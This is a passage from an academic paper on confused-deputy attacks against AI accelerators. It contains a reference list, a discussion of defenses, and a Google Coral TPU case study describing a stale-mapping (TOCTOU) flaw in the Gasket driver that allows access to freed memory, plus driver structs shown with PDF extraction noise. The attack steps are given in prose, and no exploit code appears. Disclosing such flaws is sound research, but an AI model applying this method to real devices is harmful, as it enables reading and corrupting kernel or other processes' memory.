[26] Wikipedia contributors, “Memory management unit,” https://en. wikipedia.org/wiki/Memory management unit, 2025, accessed: 202601-13. [27] Y. Wang, L. Chen, J. Ji, X. Tian, B. Luo, Z. Wei, Z. Huang, K. Xu, K. Peng, K. Guo, N. Luo, G. Wang, S. Dai, Y. Shen, J. Wu, and Z. Qi, “To pri or not to pri, that’s the question,” in Proceedings of the 19th USENIX Conference on Operating Systems Design and Implementation, ser. OSDI ’25. USA: USENIX Association, 2025. [28] The Linux Kernel Documentation Project. (2023) Shared virtual addressing (sva) with enqcmd. kernel.org. Accessed: 2026-01-11. [Online]. Available: https://www.kernel.org/doc/html/v6.3/x86/sva.html [29] D. Suciu, S. McLaughlin, H. Vijayakumar, L. Harrison, M. Grace, and A. Rahmati, “Poster: Automatic detection of confused-deputy attacks on arm trustzone environments,” IEEE SecDev, 2018. [30] A. Machiry, E. Gustafson, C. Spensky, C. Salls, N. Stephens, R. Wang, A. Bianchi, Y. R. Choe, C. Kruegel, and G. Vigna, “BOOMERANG: Exploiting the semantic gap in trusted execution environments,” in Proceedings 2017 Network and Distributed System Security Symposium. Internet Society. [Online]. Available: https://www.ndss-symposium.org/ndss2017/ndss-2017-programme/ boomerang-exploiting-semantic-gap-trusted-execution-environments/ [31] A. Markuze, A. Morrison, and D. Tsafrir, “True iommu protection from dma attacks: When copy is faster than zero copy,” SIGARCH Comput. Archit. News, vol. 44, no. 2, p. 249–262, Mar. 2016. [Online]. Available: https://doi.org/10.1145/2980024.2872379 [32] M. B. S. C. T. Gu, S. Ma, and X. Ma, “Ai workloads performance with safe io memory protection.” [33] F. Alam, H. Lee, A. Bhattacharjee, and A. Awad, “CryptoMMU: Enabling scalable and secure access control of third-party accelerators,” in 56th Annual IEEE/ACM International Symposium on Microarchitecture. ACM, pp. 32–48. [Online]. Available: https://dl.acm.org/doi/10.1145/3613424.3614311 [34] L. E. Olson, J. Power, M. D. Hill, and D. A. Wood, “Border control: sandboxing accelerators,” in Proceedings of the 48th International Symposium on Microarchitecture. ACM, pp. 470–481. [Online]. Available: https://dl.acm.org/doi/10.1145/2830772.2830819 [35] A. T. Markettos, C. Rothwell, B. F. Gutstein, A. Pearce, P. G. Neumann, S. W. Moore, and R. N. M. Watson, “Thunderclap: Exploring vulnerabilities in operating system iommu protection via dma from untrustworthy peripherals,” Proceedings 2019 Network and Distributed System Security Symposium, 2019. [Online]. Available: https://api.semanticscholar.org/CorpusID:86624736 [36] C. Peglow and T. Eisenbarth, “Security analysis of hybrid intel cpu/fpga platforms using iommus against i/o attacks,” Master’s thesis. University of Lübeck, 2020. [37] X. Wang, W. Shen, Y. Bu, J. Zhou, and Y. Zhou, “DMAAUTH: A lightweight pointer integrity-based secure architecture to defeat DMA attacks,” in 33rd USENIX Security Symposium (USENIX Security 24). Philadelphia, PA: USENIX Association, Aug. 2024, pp. 1081–1098. [Online]. Available: https://www.usenix.org/conference/ usenixsecurity24/presentation/wang-xingkai [38] W. Hur and W. W. Ro, “Enhancing iommu efficiency in heterogeneous sacs: A study on cache policy impacts,” in 2025 International Conference on Electronics, Information, and Communication (ICEIC), 2025, pp. 1– 4. [39] N. Amit, M. Ben-Yehuda, and B.-A. Yassour, “Iommu: strategies for mitigating the iotlb bottleneck,” in International Symposium on Computer Architecture, 2010. [Online]. Available: https://api. semanticscholar.org/CorpusID:50494 [40] T. Kim, H. Park, S. Lee, S. Shin, J. Hur, and Y. Shin, “Devious: Devicedriven side-channel attacks on the iommu,” in 2023 IEEE Symposium on Security and Privacy (SP), 2023, pp. 2288–2305. [41] Y. Fratantonio, C. Qian, S. P. Chung, and W. Lee, “Cloak and dagger: from two permissions to complete control of the ui feedback loop,” in 2017 IEEE Symposium on Security and Privacy (SP). IEEE, 2017, pp. 1041–1057. [42] J. Wan, Y. Guo, Z. Zhang, Z. Li, D. J. Tian, and Z. Zhang, “Geforge: Hammering gddr memory to forge gpu page tables for fun and profit,” in 2026 IEEE Symposium on Security and Privacy (SP). IEEE, 2026. [43] D. Fernandez. (2025, Sep.) Gpu runtime security: Why ai clouds are flying blind. Edera. [Online]. Available: https://edera.dev/stories/ gpu-runtime-security-why-ai-clouds-are-flying-blind [44] D. Anderson and T. Shanley, PCI system architecture. Addison-Wesley Professional, 1999.
14
[45] P. Mochel, “The linux kernel device model,” in Ottawa Linux Symposium, vol. 368, 2002. [46] S. Woods and Q. Yang, “The program understanding problem: analysis and a heuristic approach,” in Proceedings of IEEE 18th International Conference on Software Engineering, 1996, pp. 6–15. [47] D. Nam, A. Macvean, V. Hellendoorn, B. Vasilescu, and B. Myers, “Using an llm to help with code understanding,” in Proceedings of the IEEE/ACM 46th International Conference on Software Engineering, 2024, pp. 1–13. [48] T. Lehtinen, C. Koutcheme, and A. Hellas, “Let’s ask ai about their programs: Exploring chatgpt’s answers to program comprehension questions,” in Proceedings of the 46th International Conference on Software Engineering: Software Engineering Education and Training, 2024, pp. 221–232. [49] M. North, A. Atapour-Abarghouei, and N. Bencomo, “Beyond syntax: How do llms understand code?” in 2025 IEEE/ACM 47th International Conference on Software Engineering: New Ideas and Emerging Results (ICSE-NIER). IEEE, 2025, pp. 86–90. [50] L. Huang, W. Yu, W. Ma, W. Zhong, Z. Feng, H. Wang, Q. Chen, W. Peng, X. Feng, B. Qin, and T. Liu, “A survey on hallucination in large language models: Principles, taxonomy, challenges, and open questions,” ACM Trans. Inf. Syst., vol. 43, no. 2, Jan. 2025. [Online]. Available: https://doi.org/10.1145/3703155 [51] Hugging Face. (2024) MobileNetV1 Documentation. Accessed: 202503-21. [Online]. Available: https://huggingface.co/docs/transformers/ en/model doc/mobilenet v1 [52] D. Gibson, “dgibson/dtc,” Mar. 2025, original-date: 2013-0524T07:53:04Z. [Online]. Available: https://github.com/dgibson/dtc [53] D. Tychalas and M. Maniatakos, “Open platform systems under scrutiny: A cybersecurity analysis of the device tree,” in 2018 25th IEEE International Conference on Electronics, Circuits and Systems (ICECS). IEEE, 2018, pp. 477–480. [54] J. E. Bottomley. (2025) Dynamic dma mapping using the generic device. Accessed: 2025-04-14. [Online]. Available: https: //docs.kernel.org/core-api/dma-api.html [55] The Linux Kernel Community. (2019) Memory management apis. Accessed: 2025-04-14. [Online]. Available: https://www.kernel.org/doc/ html/v5.0/core-api/mm-api.html [56] Max Brunsfeld, “tree-sitter-c: C grammar for tree-sitter,” https://pypi. org/project/tree-sitter-c/, 2025, version 0.24.1, released May 24, 2025; License: MIT; Requires Python ≥ 3.10. [57] “py-tree-sitter: Python bindings to the tree-sitter parsing library,” https: //github.com/tree-sitter/py-tree-sitter, 2024, mIT License; latest release v0.23.2 on October 24, 2024. [58] “Function calling,” OpenAI Developer Documentation (Guides), 2025, accessed on August 21, 2025. [Online]. Available: https: //platform.openai.com/docs/guides/function-calling [59] A. Reuther, P. Michaleas, M. Jones, V. Gadepally, S. Samsi, and J. Kepner, “Survey and benchmarking of machine learning accelerators,” in 2019 IEEE High Performance Extreme Computing Conference (HPEC), 2019, pp. 1–9. [60] ——, “Survey of machine learning accelerators,” in 2020 IEEE High Performance Extreme Computing Conference (HPEC), 2020, pp. 1–12. [61] ——, “AI and ML accelerator survey and trends,” in 2022 IEEE High Performance Extreme Computing Conference (HPEC). IEEE, pp. 1–10. [Online]. Available: https://ieeexplore.ieee.org/document/9926331/ [62] B. Peccerillo, M. Mannino, A. Mondelli, and S. Bartolini, “A survey on hardware accelerators: Taxonomy, trends, challenges, and perspectives,” Journal of Systems Architecture, vol. 129, p. 102561, 2022. [Online]. Available: https://www.sciencedirect.com/science/article/pii/ S1383762122001138 [63] C. Åleskog, H. Grahn, and A. Borg, “Recent developments in low-power ai accelerators: A survey,” Algorithms, vol. 15, no. 11, 2022. [Online]. Available: https://www.mdpi.com/1999-4893/15/11/419 [64] Sipeed. (2025) Maix-III AXera-Pi. Accessed: 2025-04-10. [Online]. Available: https://wiki.sipeed.com/hardware/en/maixIII/ax-pi/axpi.html [65] K. Seshadri, B. Akin, J. Laudon, R. Narayanaswami, and A. Yazdanbakhsh, “An evaluation of edge tpu accelerators for convolutional neural networks,” in 2022 IEEE International Symposium on Workload Characterization (IISWC). IEEE, 2022, pp. 79–91. [66] Wikipedia contributors. (2025) Pixel 4. Accessed: 2025-04-14. [Online]. Available: https://en.wikipedia.org/wiki/Pixel 4 [67] N. Gabdullin and A. Raskovalov, “Google coral-based edge computing person reidentification using human parsing combined with
analytical method,” Internet of Things, vol. 22, p. 100701, 2023. [Online]. Available: https://www.sciencedirect.com/science/article/pii/ S2542660523000240 [68] Coral, “Industries,” 2020, accessed: 2025-04-10. [Online]. Available: https://coral.ai/industries/ [69] NXP Semiconductors. (2025) NXP Semiconductors. [Online]. Available: https://www.nxp.com/design/design-center/ development-boards-and-designs/8MPLUSLPD4-EVK [70] K. J. Lee, “Architecture of neural processing unit for deep neural networks,” in Advances in Computers. Elsevier, 2021, vol. 122, pp. 217–245. [71] D.-M. Dobrea and M.-C. Dobrea, “A smart uav system to assess the health of a vineyard,” 2024 16th International Conference on Electronics, Computers and Artificial Intelligence (ECAI), pp. 1–7, 2024. [Online]. Available: https://api.semanticscholar.org/CorpusID:271575548 [72] J. Martin, D. Cantero, M. González, A. Cabrera, M. Larrañaga, E. Maltezos, P. Lioupis, D. Kosyvas, L. Karagiannidis, E. Ouzounoglou, and A. Amditis, “Embedded vision intelligence for the safety of smart cities,” Journal of Imaging, vol. 8, no. 12, 2022. [Online]. Available: https://www.mdpi.com/2313-433X/8/12/326 [73] NXP Semiconductors, i.MX 8M Plus Applications Processor Family, 2020, accessed: 2025-04-10. [Online]. Available: https: //www.nxp.com/docs/en/fact-sheet/IMX8MPLUSFS.pdf [74] Texas Instruments. (2025) SK-TDA4VM: Starter Kit for TDA4VM Jacinto™ Processor. Accessed: 2025-02-25. [Online]. Available: https://www.ti.com/tool/SK-TDA4VM [75] N. Dave, K. Fleming, M. King, M. Pellauer, and M. Vijayaraghavan, “Hardware acceleration of matrix multiplication on a xilinx fpga,” in 2007 5th IEEE/ACM International Conference on Formal Methods and Models for Codesign (MEMOCODE 2007). IEEE, 2007, pp. 97–100. [76] Texas Instruments, TDA4VM Processors Datasheet, 2024, accessed: 2025-04-10. [Online]. Available: https://www.ti.com/lit/ds/symlink/ tda4vm.pdf [77] Hailo Technologies Ltd. (2025) Ai accelerator hailo-8. Hailo Technologies Ltd. Accessed: 2026-01-12. [Online]. Available: https://hailo.ai/products/ai-accelerators/hailo-8-ai-accelerator/ [78] Raspberry Pi Ltd. (2025) Ai kit – raspberry pi documentation. Raspberry Pi Ltd. Accessed: 2026-01-12. [Online]. Available: https://www.raspberrypi.com/documentation/accessories/ai-kit.html [79] Hailo Technologies Ltd. (2025) Ai adas and ad (autonomous driving) – hailo ai applications. Hailo Technologies Ltd. Accessed: 202601-12. [Online]. Available: https://hailo.ai/applications/automotive/ adas-and-ad/ [80] NVIDIA. (2026) Jetson Orin for autonomous machines and embedded systems. [Online]. Available: https://www.nvidia.com/en-us/ autonomous-machines/embedded-systems/jetson-orin/ [81] NVIDIA Corporation. (2025) Intelligent video analytics platform – nvidia metropolis. NVIDIA Corporation. Accessed: 2026-01-12. [Online]. Available: https://www.nvidia.com/en-us/ autonomous-machines/intelligent-video-analytics-platform/ [82] ——. (2025) Medical devices – healthcare and life sciences. NVIDIA Corporation. Accessed: 2026-01-12. [Online]. Available: https://www. nvidia.com/en-us/industries/healthcare-life-sciences/medical-devices/ [83] Amazon Web Services. (2025) Aws inferentia. Amazon Web Services. Accessed: 2025-08-25. [Online]. Available: https://aws.amazon.com/ai/ machine-learning/inferentia/ [84] “Aws neuron category – artificial intelligence — aws machine learning blog,” AWS Blogs – Machine Learning, 2025, accessed on August 23, 2025; includes posts such as “Optimizing Mixtral 8×7B on Amazon SageMaker with AWS Inferentia2” (15 Apr 2025) and “How to run Qwen 2.5 on AWS AI chips. . . ” (13 Mar 2025). [Online]. Available: https://aws.amazon.com/blogs/machine-learning/ category/artificial-intelligence/aws-neuron/ [85] ASUS, “Tinker edge r,” 2024, accessed: 2025-04-10. [Online]. Available: https://tinker-board.asus.com/series/tinker-edge-r.html [86] M. Wang, Q. Hou, and A. Peng, “Advertising machine system design based on rk3399pro,” in 2023 IEEE 11th Joint International Information Technology and Artificial Intelligence Conference (ITAIC), vol. 11, 2023, pp. 1066–1072. [87] J. Li and L. Liu, “Efficient human pose recognition using improved openpose algorithm on embedded systems with rk3399,” in 2024 10th International Conference on Systems and Informatics (ICSAI), 2024, pp. 1–6.
15
[88] Sirin Software, “Revolutionizing retail with ai-driven surveillance,” 2024, accessed: 2025-04-10. [Online]. Available: https://sirinsoftware. com/success/revolutionizing-retail-with-ai-driven-surveillance [89] Firefly, “Aio-3399proc: Rk3399pro six-core high-performance ai main board,” 2024, accessed: 2025-04-10. [Online]. Available: https://en.t-firefly.com/product/industry/aio 3399proc?theme=pc [90] AWS AI Labs. (2026) Neuron device memory — dma rings. AWS Neuron Documentation. Accessed: 2026-01-14. [Online]. Available: https://awsdocs-neuron.readthedocs-hosted.com/ en/latest/neuron-runtime/explore/device-memory.html#dma-rings [91] Wikipedia contributors. (2025) Time-of-check to time-of-use. [Online; accessed 23-February-2025]. [Online]. Available: https://en.wikipedia. org/wiki/Time-of-check to time-of-use [92] Coral AI / Google. (2025) Get started with the dev board. Coral AI. Accessed: 2026-01-13. [Online]. Available: https://www.coral.ai/docs/ dev-board/get-started/ [93] Google Coral Team, “Coral software,” 2025, accessed: 2025-04-11. [Online]. Available: https://coral.ai/software/ [94] Google LLC. (2022) Dev board datasheet. Accessed: 2025-04-14. [Online]. Available: https://coral.ai/docs/dev-board/datasheet/ [95] NXP Semiconductors. (2025) i.mx 8m plus evaluation kit (8mpluslpd4-evk). Accessed: 2025-04-11. [Online]. Available: https://www.nxp.com/design/design-center/ development-boards-and-designs/8MPLUSLPD4-EVK [96] N. Semiconductors, “i.mx linux kernel,” 2025, accessed: 2025-04-08. [Online]. Available: https://github.com/nxp-imx/linux-imx [97] Texas Instruments, Processor SDK Linux for SK-TDA4VM, 4 2022, accessed: 2025-04-13. [Online]. Available: https://software-dl.ti.com/jacinto7/esd/ processor-sdk-linux-sk-tda4vm/08 02 00/exports/docs/index.html [98] Raspberry Pi. (2025) Ai hat+. Raspberry Pi Ltd. Accessed: 2026-0103. [Online]. Available: https://www.raspberrypi.com/documentation/ accessories/ai-hat-plus.html [99] ——. (2025) Raspberry pi os downloads. Raspberry Pi Ltd. Accessed: 2026-01-03. [Online]. Available: https://www.raspberrypi. com/software/operating-systems/ [100] Canonical / Ubuntu, “Install Ubuntu on NVIDIA Jetson,” https://ubuntu. com/download/nvidia-jetson, accessed: 2026-01-09. [101] Leela S. Karumbunathan and NVIDIA Corporation, “Nvidia jetson agx orin series technical brief, version 1.2,” NVIDIA Corporation, Technical Brief TB 10749-001 v1.2, 2022, accessed: 2026-0103. [Online]. Available: https://www.nvidia.com/content/dam/en-zz/ Solutions/gtcf21/jetson-orin/nvidia-jetson-agx-orin-technical-brief.pdf [102] Amazon Web Services. (2025) Amazon ec2 inf1 instances. Accessed: 2025-04-14. [Online]. Available: https://aws.amazon.com/ ec2/instance-types/inf1/ [103] AWS Documentation. (2026) Get started with neuron on ubuntu 22 with neuron multi-framework dlami. Amazon Web Services. Accessed: 2026-01-**. [Online]. Available: https:// awsdocs-neuron.readthedocs-hosted.com/en/latest/setup/neuron-setup/ multiframework/multi-framework-ubuntu22-neuron-dlami.html# setup-ubuntu22-multi-framework-dlami [104] AWS Neuron SDK Documentation, Amazon Web Services, Inc., 2025, accessed May 19, 2026. [Online]. Available: https://awsdocs-neuron. readthedocs-hosted.com/en/latest/ [105] TinkerEdgeR. (2025) debian-kernel. Accessed: 2025-04-13. [Online]. Available: https://github.com/TinkerEdgeR/debian-kernel [106] Fuzhou Rockchip Electronics Co., Ltd., Rockchip RK3399Pro Technical Reference Manual Part 1, 5 2019, accessed: 2025-0413. [Online]. Available: https://rockchip.fr/Rockchip%20RK3399Pro% 20TRM%20V1.0%20Part1.pdf [107] AlbrechtL. (2025, May) Pci devices not part of iommu group (important for passthrough pci devices into vms) (issue #6834). GitHub Issue. [Online]. Available: https://github.com/raspberrypi/linux/issues/6834 [108] letli and AlbrechtL. (2025, Feb.) is iommu groups over pcie supported by raspberrypi 5? (forum thread). Raspberry Pi Forums, Advanced Users category. [Online]. Available: https://forums.raspberrypi.com/ viewtopic.php?t=383922 [109] coRp, redvli, and jdb. (2024, Aug.) Rpi5 - iommu on pci (forum thread). Raspberry Pi Forums, Advanced users category. [Online]. Available: https://forums.raspberrypi.com/viewtopic.php?t=374670 [110] “Android Distribution Chart – Updated on May 2024.” [Online]. Available: https://composables.com/android-distribution-chart
[111] L. Mosesso, N. Maudet, E. Nano, T. Thibault, and A. Tabard, “Obsolescence paths: Living with aging devices,” in 2023 International Conference on ICT for Sustainability (ICT4S), 2023, pp. 13–23. [112] N. Binkert, B. Beckmann, G. Black, S. K. Reinhardt, A. Saidi, A. Basu, J. Hestness, D. R. Hower, T. Krishna, S. Sardashti, R. Sen, K. Sewell, M. Shoaib, N. Vaish, M. D. Hill, and D. A. Wood, “The gem5 simulator,” SIGARCH Comput. Archit. News, vol. 39, no. 2, p. 1–7, Aug. 2011. [Online]. Available: https://doi.org/10.1145/2024716.2024718 [113] J. Lowe-Power, A. M. Ahmad, A. Akram, M. Alian, R. Amslinger, M. Andreozzi, A. Armejach, N. Asmussen, S. Bharadwaj, G. Black, G. Bloom, B. R. Bruce, D. R. Carvalho, J. Castrillón, L. Chen, N. Derumigny, S. Diestelhorst, W. Elsasser, M. Fariborz, A. F. Farahani, P. Fotouhi, R. Gambord, J. Gandhi, D. Gope, T. Grass, B. Hanindhito, A. Hansson, S. Haria, A. Harris, T. Hayes, A. Herrera, M. Horsnell, S. A. R. Jafri, R. Jagtap, H. Jang, R. Jeyapaul, T. M. Jones, M. Jung, S. Kannoth, H. Khaleghzadeh, Y. Kodama, T. Krishna, T. Marinelli, C. Menard, A. Mondelli, T. Mück, O. Naji, K. Nathella, H. Nguyen, N. Nikoleris, L. E. Olson, M. S. Orr, B. Pham, P. Prieto, T. Reddy, A. Roelke, M. Samani, A. Sandberg, J. Setoain, B. Shingarov, M. D. Sinclair, T. Ta, R. Thakur, G. Travaglini, M. Upton, N. Vaish, I. Vougioukas, Z. Wang, N. Wehn, C. Weis, D. A. Wood, H. Yoon, and É. F. Zulian, “The gem5 simulator: Version 20.0+,” CoRR, vol. abs/2007.03152, 2020. [Online]. Available: https://arxiv.org/abs/2007.03152 [114] B. Reagen, R. Adolf, Y. S. Shao, G.-Y. Wei, and D. Brooks, “Machsuite: Benchmarks for accelerator design and customized architectures,” in 2014 IEEE International Symposium on Workload Characterization (IISWC), 2014, pp. 110–119. [115] T. Close, “Hewlett-packard labs palo alto, CA email: [email protected].” [116] J. Zhu, M. Lin, T. Yin, Z. Cai, Y. Wang, R. Chang, and W. Shen, “Crossfire: Fuzzing macos cross-xpu memory on apple silicon,” in Proceedings of the 2024 on ACM SIGSAC Conference on Computer and Communications Security, ser. CCS ’24. New York, NY, USA: Association for Computing Machinery, 2024, p. 3749–3762. [Online]. Available: https://doi.org/10.1145/3658644.3690376 [117] “Attacking NPUs of multiple platforms.” [Online]. Available: https://i.blackhat.com/EU-23/Presentations/ EU-23-Zhang-Attacking-NPUs-of-Multiple-Platforms.pdf [118] Y. Wang, “Make ksma great again: The art of rooting android devices by gpu mmu features,” in Black Hat USA 2023. Black Hat, 2023, presentation, Black Hat USA. [Online]. Available: https://i.blackhat.com/BH-US-23/Presentations/ US-23-WANG-The-Art-of-Rooting-Android-devices-by-GPU-MMU-features. pdf?ref=blog.isosceles.com [119] R. Neugebauer, G. Antichi, J. F. Zazo, Y. Audzevich, S. López-Buedo, and A. W. Moore, “Understanding PCIe performance for end host networking,” in Proceedings of the 2018 Conference of the ACM Special Interest Group on Data Communication. ACM, pp. 327–341. [Online]. Available: https://dl.acm.org/doi/10.1145/3230543.3230560 [120] “Artificial intelligence and hardware accelerators.” [Online]. Available: https://link.springer.com/10.1007/978-3-031-22170-5 [121] A. T. Markettos, J. Baldwin, R. Bukin, P. G. Neumann, S. W. Moore, and R. N. M. Watson, “Position paper:defending direct memory access with CHERI capabilities,” in Hardware and Architectural Support for Security and Privacy. ACM, pp. 1–9. [Online]. Available: https://dl.acm.org/doi/10.1145/3458903.3458910 [122] T. Instruments, “Edgeai tidl tools,” 2025, accessed: 2025-02-08. [Online]. Available: https://github.com/TexasInstruments/edgeai-tidl-tools [123] ——. (2025) Tidl user guide - model deployment. Texas Instruments Documentation. [Online]. Available: https://software-dl.ti.com/jacinto7/esd/processor-sdk-rtos-jacinto7/ 06 02 00 21/exports/docs/tidl j7 01 01 00 10/ti dl/docs/ user guide html/md tidl user model deployment.html [124] G. AI. (2025) Implementing a delegate for performance optimization. Accessed: 2025-03-02. [Online]. Available: https://ai.google.dev/edge/ litert/performance/implementing delegate [125] L. Torvalds. Linux kernel source tree commit cddb8a5c14aa89810b40495d94d3d2a0faee6619. Linux kernel development community. [Online]. Available: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/ commit/?id=cddb8a5c14aa89810b40495d94d3d2a0faee6619 [126] W. Zhu, A. L. Cox, and S. Rixner, “GMEM: generalized memory
16
in each message. Furthermore, to prevent TOCTOU issues (as shown in Google TPU (§ C)) KD should remember all SMIDs and corresponding pages. So, any unmapping requests for a SMID will be disallowed until AIA finishes processing messages containing the SMID. This could be achieved by registering for mmu_interval_notifier[125] in the Linux kernel. This defense does not require any changes to AIA but is not backward compatible (i.e., requires applications and AVL redesign) and requires complex changes to KD. The overhead is not constant and depends on the number of messages and SMIDs. Shared Page Tables: Here, page tables will be shared between AIA and application processors running the host system. All memory requests by AIA made on behalf of a USE will go through the page tables of the USE. The SMIDs will be virtual addresses of the USE and will go through the same memory protection hardware as in the host system. This defense is backward compatible; the overhead is constant (as all requests go through memory translation hardware), but requires significant AIA hardware and software changes. There are ongoing efforts [126] to have unified memory management to tackle the problem of memory sharing with peripherals. 2) AIA Validating SMIDs (Type 2): This can also be achieved in two ways: AIA Page Tables: As with Google TPU, AIA could have its own MMU and page tables. When a USE wants to communicate with AIA, KD configures AIA page tables with only valid SMID of the USE. This ensures that AIA validates all SMIDs. However, similar to the previous approach (§ B1), KD should communicate all unmappings by USE to AIA. This defense is backward compatible and requires minimal changes to KD. However, hardware modifications (i.e., MMU) are required on AIA. The overhead will be constant (as all requests go through MMU) and minimal. On Demand Validation by AIA: Here, AIA validates every SMID received by consulting with the KD. Specifically, KD attaches the PID of USE with every message. AIA processes the message and if the message contains a SMID, AIA sends a verification request to KD along with the PID. KD will verify that the SMID is valid for the PID and sends an OK/NOTOK response back to AIA. This defense is also backward compatible and requires minimal changes to KD. However, software modifications are required on AIA. The overhead is not constant and depends on the number of messages and SMIDs. This is similar to the Cooperative Semantic Reconstruction approach proposed by Machiry et al. [30]. To improve efficiency AIA can cache validated SMIDs to avoid repeated validation requests to KD. KD should remember all SMIDs and corresponding pages. So, any unmapping requests for a SMID by UA will be disallowed until AIA finishes processing.
management for peripheral devices,” CoRR, vol. abs/2310.12554, 2023. [Online]. Available: https://doi.org/10.48550/arXiv.2310.12554 [127] Google, “Gasket driver,” 2025, accessed: 2025-03-03. [Online]. Available: https://github.com/google/gasket-driver/tree/main [128] Hailo AI. (2025) Hailo ai software suite. Hailo AI. Overview page, accessed: 2026-01-03. [Online]. Available: https://hailo.ai/products/ hailo-software/hailo-ai-software-suite/#sw-overview [129] hailo-ai. (2026) Hailo model zoo. GitHub. GitHub repository, accessed: 2026-01-03. [Online]. Available: https://github.com/hailo-ai/hailo model zoo [130] NVIDIA Developer, “NVIDIA CUDA Toolkit — free tools and training,” https://developer.nvidia.com/cuda/toolkit, accessed: 2026-01-09. [131] libusb Project, “libusb - a cross-platform library to access usb devices,” 2025, accessed: 2025-03-22. [Online]. Available: https://libusb.info/
Appendix A. Inference with AIAs To use AIA for a model 𝑚, it needs to be converted to the format supported by the AIA and before it is provided to that AIA, usually done through AF and AVL. Model Conversion: AIA vendors provide tools to convert ML models from generic formats, such TensorFlow (.pb), into a custom format that is compatible with the AIA. For instance, a tensorflow model needs to be converted to the tflite format to use on a Google Edge TPU. Texas Instruments provide a set of tools [122] that helps to transform common model formats [123] to the format compatible with their AIA. Different accelerators can use the same format. For instance, tflite, originally designed for Google’s TPU, is also supported by NXP. Tensorflow runtime provides a delegate abstraction [124] enabling tflite format to be easily adopted by different AIAs. Usage: Applications, i.e., UAs, use the converted model on the target AIA through AF. This interaction goes through multiple layers of libraries (i.e., AVLs) before the request eventually reaches AIA through KD. Listing 21 (in Appendix) shows the layers of AVLs through which a request from AF is sent to KD and eventually to AIA. B. Defenses Discussion We discuss each approach below, highlighting its potential pros and cons. We use the following characteristics that are relevant to defenses practical deployment. • Backward Compatible. Do any application components (e.g., AVL) need to be redesigned for defense? • KD Complexity. How complex are the changes to KD? • AIA Hardware Modification. Does defense require hardware modifications to the AIA? • AIA Software Modification. Does the defense require software modifications to the AIA? • Overhead. What is the performance overhead? What factors affect performance? Table VII summarizes possible defenses along with their characteristics. 1) Preventing Arbitrary SMIDs (Type 1): This can be achieved in two ways: Validation by KD: Here, all messages to AIA must go through KD, and there should be no direct userspace to AIA communication. The KD should be aware of all possible message structures accepted by AIA and validate all SMIDs
C. Google TPU We used the Coral Dev Board that has i.MX 8M SOC with Arm Cortex-A53 as its AP and contains Google TPU and with Mendel Linux [93] as the host OS. We created our AUA using TensorFlow and configured it to use Google TPU.
17
gasket_page_table_ioctl { uint64_t page_table_index; uint64_t size; uint64_t host_address; 4 5 uint64_t device_address; 6 }; 1 struct
We referred to the publicly available data sheet [94] and identified that Google TPU is connected to AP through PCI and extracted AIMem regions, as shown in Listing 5. Our data extraction phase identified the AVLs and KD device files as shown in Table VIII. CDA Relevant Information. DeputyHunt pointed out that gasket_perform_mapping as the AIA relevant function handling SMem (Listing 52). It also pointed out GASKET_IOCTL_MAP_BUFFER and GASKET_IOCTL_MAP_BUFFER_FLAGS as our relevant KD entry points, as these ioctl commands trigger the above function as shown in Listing 4. DeputyHunt also pointed out that gasket_perform_mapping configured SMem through Google TPU specific page tables that are accessible through AIMem. Specifically, the physical pages of SMem are mapped to Google TPU’s page tables through DMA handles. This information about the structure of the Google TPU’s page table was also available in code comments as shown in Appendix D. We summarize our results in Table II. The message semantics information from DeputyHunt also revealed that mapping requests are done by passing gasket_page_table_ioctl structure along with GASKET_IOCTL_MAP_BUFFER command. These details are presented in Table III. CDA Validation. SMIDs (i.e., device virtual addresses) in Google TPU are selected by user space. However, to get a SMID for a restricted memory region, it should be first mapped to Google TPU’s page table. But, KD validates all mapping requests and ensures that mapping can only be performed to those memory regions for which the requesting USE has access. Given that only one USE has exclusive access to Google TPU, any valid SMID can only access a memory region to which USE has access at the time of the mapping request. Consequently, it is not possible to get SMID for arbitrary restricted memory regions. However, the stale memory check (§ VII-C6) revealed that SMID remains valid for stale memory regions. Specifically, SMID created for a memory page remains valid even after the page is unmapped. This is because KD unmaps memory regions of a USE from AIA only at the teardown (not when the page is unmapped). This causes a TOCTOU issue [91], resulting in SMID for a restricted memory region. Listing 1 shows the example. First, the attacker sends a mapping request with a valid page to a certain AIA device address (i.e., attk_addr). KD checks that the provided page is valid (i.e., not restricted), pins the corresponding physical page, and adds a mapping to the requested device address to the physical page. Second, the attacker unmaps the page using munmap. This will remove the mapping from the attacker’s address space. However, KD is unaware of this, and the AIA’s device address (i.e., attk_addr) is still mapped to the physical address (which the attacker does not have access to and might be assigned to other processes or kernel). Finally, the attacker sends inference requests using attk_addr (more details in Appendix E), thereby causing AIA
2 3
7 8 /*
* Structure for ioctl mapping buffers with flags when ↩→ using the Gasket 10 * page_table module. 11 */ 12 struct gasket_page_table_ioctl_flags { 13 struct gasket_page_table_ioctl base; 14 /* 15 * Flags indicating status and attribute requests ↩→ from the host. 16 * NOTE: STATUS bit does not need to be set in ↩→ this request. 17 Set RESERVED bits to 0 to ensure * ↩→ backwards compatibility. 18 * 19 * Bitfields: 20 [0] - STATUS: indicates if this * ↩→ entry/slot is free 21 0 = PTE_FREE * 22 1 = PTE_INUSE * 23 [2:1] - DMA_DIRECTION: dma_data_direction * ↩→ requested by host 24 00 = DMA_BIDIRECTIONAL * 25 01 = DMA_TO_DEVICE * 26 10 = DMA_FROM_DEVICE * 27 11 = DMA_NONE * 28 [31:3] - RESERVED * 29 */ 30 u32 flags; 31 }; 9
Listing 2: Google (Coral dev board): Structure of messages relevant to CDA sent from AVL to KD and vice versa. static int gasket_perform_mapping(struct gasket_page_table ↩→ *pg_tbl, ..page..) { ... for (i = 0; i < num_pages; i++) { page_addr = host_addr + i * PAGE_SIZE; offset = page_addr & (PAGE_SIZE - 1); ... ret = * get_user_pages_fast(page_addr ↩→ offset, 1, direction != DMA_TO_DEVICE, &page);
Listing 3: AIA relevant function in Google TPU KD, i.e.,KD function invoking page pinning function (*).
to access (read and write) restricted (i.e., unmapped) memory regions, potentially containing sensitive code/data. We verified this attack through a working exploit. The attacker can fully control the value that gets written (V 𝒇 ). However, the attacker does not have full control of how the unmapped physical page (i.e., restricted memory region) will be used by the kernel. We classify this as no address control (A𝒏 ). Table III summarizes the CDA classification. D. Google TPU Page Tables There are 2 levels of page tables. Level 1 AIA pagetables also called simple mappings, reside in AIMem and Level 2 pagetables also called extended mappings, are typically created on demand in DMem by KD. The bits in the address determine the level of the page table and determine pagewalk as shown in Listing 6. All entries map to a 4KB of SMem physical page. For e.g., an entry in simple slot residing in AIMem directly maps
18
